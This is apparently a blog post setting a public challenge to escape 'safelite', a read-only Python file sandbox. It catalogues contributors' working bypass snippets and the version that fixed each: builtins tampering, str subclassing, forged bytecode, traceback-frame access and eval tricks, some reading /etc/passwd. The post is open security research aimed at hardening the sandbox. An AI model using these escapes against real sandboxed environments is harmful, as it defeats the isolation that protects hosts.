I'm Tav, a 29yr old from London. I enjoy working on large-scale social, economic and technological systems.

Update: You can find out more in my new article: Paving the Way to Securing the Python Interpreter

The challenge is simple:

• Open a fresh Python interpreter and do:

  >>> from safelite import FileReader
  

• You can use FileReader to read files on your filesystem

• Now find a way to write to the filesystem from your interpreter

You can find the latest version of safelite.py here:

• http://github.com/tav/scripts/blob/master/safelite.py [Current: v12]

I will keep safelite.py updated as new exploits and workarounds are found until we hopefully end up with a version we can be confident about. [VERSION attribute added on Steven D'Aprano's recommendation.]

If enough smart hackers look at this and it holds up, Guido promises to accept a patch which would enable this function-based approach to security on both App Engine and future Python versions.

So, please try the challenge and let me know how you find it in the comments. Thanks!

Note: The aim of this isn't to protect Python against crashes/segfaults or exhaustion of resources attacks, so those don't count.

Good luck and thanks! =)

Exploits Found & Fixed So Far:

• Victor Stinner and Tim Wintle found the first exploit:

  >>> reload(__builtins__)
  <module '__builtin__' (built-in)>
  
  >>> open('0wn3d', 'w').write('w00t\n')
  

  [Fixed in v2]

• Guido van Rossum and Mark Eichin came up with this devious:

  >>> class S(str):
  ...     def __eq__(self, o): return 'r' == o
  
  >>> f = FileReader('w00t', S('w'))
  
  >>> f.close() # creates an empty file called 'w00t'
  

  [Fixed in v3]

• clsn took it further and bypassed the fix in v4:

  >>> class S(str):
  ...     def __eq__(self, o): return 'r' == o
  ...     def __str__(self): return self
  

  [Fixed in v5]

• Mike Rooney started messing with the assumptions of builtins being unaltered:

  >>> __builtins__.str = S
  

  [Fixed in v5]

• Farshid Lashkari then took it to a whole new elegant level:

  >>> _real_file = None
  
  >>> def _new_isinstance(obj,types):
  ...     global _real_file
  ...     if _real_file is None and obj.__class__.__name__ == 'file':
  ...         _real_file = obj.__class__
  ...     return _old_isinstance(obj,types)
  
  >>> __builtins__.isinstance = _new_isinstance
  >>> FileReader('nul')
  
  >>> f = _real_file('foo.txt', 'w')
  

  [Fixed in v5]

• Guido van Rossum noted that FileReader's __metaclass__ was accessible:

  >>> f = FileReader('/etc/passwd')
  >>> kall = f.__class__.__metaclass__.__call__.im_func
  
  >>> kall(f.__class__.__metaclass__, [('foo', 47)])
  <type 'list'>
  
  >>> f.__class__.__metaclass__.foo
  47
  

  [Locked-down in v6 before he could do any real damage ;p]

• Paul Cannon did the unexpected with his super hardcore exploit:

  >>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(
  ...   2, 2, 4, 67,
  ...   'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S',
  ...   (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)
  ... )
  
  >>> try:
  ...     FileReader('foo', 2)
  ... except:
  ...     pass
  
  >>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')
  

  [Fixed in v6 — but the principles can still be used. Paul Cannon explains in depth.]

• Daniel Diniz emailed in with this devastating mugging:

  from safelite import FileReader
  
  # Let's build a fake module
  warnings = __builtins__.__class__('warnings')
  
  # Fill it with deception
  warnings.default_action = "ignore"
  
  # And provide a supporting thug
  def __import__(*args):
      print args
      try:
          print "How nice:\n", args[1].keys()
          global sys
          sys = args[1]['sys']
      except Exception, v:
          print "Exception:", v
      return warnings
  
  # Put the bogus module at the doorstep...
  __builtins__.warnings = warnings
  
  # and have the thug replacing the doorman
  __builtins__.__import__ = __import__
  
  # An unsuspecting costumer passes by...
  FileReader('safelite.py').seek(1.1)
  
  # ... and is brutally mugged :)
  print sys
  print dir(sys)
  

  [Fixed in v7]

• Nick Coghlan got evil with context managers:

  >>> class EvilCM(object):
  ...     def __enter__(self):
  ...         return self
  ...     def __exit__(self, exc_type, exc, tb):
  ...         tb.tb_next.tb_frame.f_locals['open_file']('w00t', 'w').write('yay!\n')
  ...         return True
  
  >>> with EvilCM():
  ...     FileReader(10, 12)
  

  [Fixed in v8]

• Guido van Rossum emailed in with ways to trick trusted code to evaluate unsafe code in its own globals!! [See also his similar hack with eval in the comments below].

  >>> f = FileReader('/etc/passwd')
  >>> f.__class__.__int__ = input
  
  >>> f.read(f)
  (fileobj.__class__('/tmp/w00t', 'w').write('w00t\n'), 0)[1]
  

  [Fixed in v9]

Found an exploit yet?? Try safelite.py and let me know!